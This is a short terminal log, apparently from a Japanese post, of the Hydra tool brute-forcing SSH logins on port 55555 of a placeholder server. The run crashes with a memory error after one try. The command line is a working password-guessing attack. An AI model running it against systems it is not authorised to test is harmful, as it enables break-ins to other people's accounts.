52:~ xxx$ hydra -l hjtarget -P password.txt -s 55555 (サーバのIPアドレス) ssh2 Hydra v5.4 (c) 2006 by van Hauser / THC - use allowed only for legal purposes. Hydra (http://www.thc.org) starting at 2009-09-03 12:34:16 [DATA] 1 tasks, 1 servers, 1 login tries (l:1/p:1), ~1 tries per task [DATA] attacking service ssh2 on port 55555 [STATUS] attack finished for (サーバのIPアドレス) (waiting for childs to finish) hydra(449) malloc: *** error for object 0x301270: incorrect checksum for freed object - object was probably modified after being freed. *** set a breakpoint in malloc_error_break to debug select: Bad file descriptor Hydra (http://www.thc.org) finished at 2009-09-03 12:34:16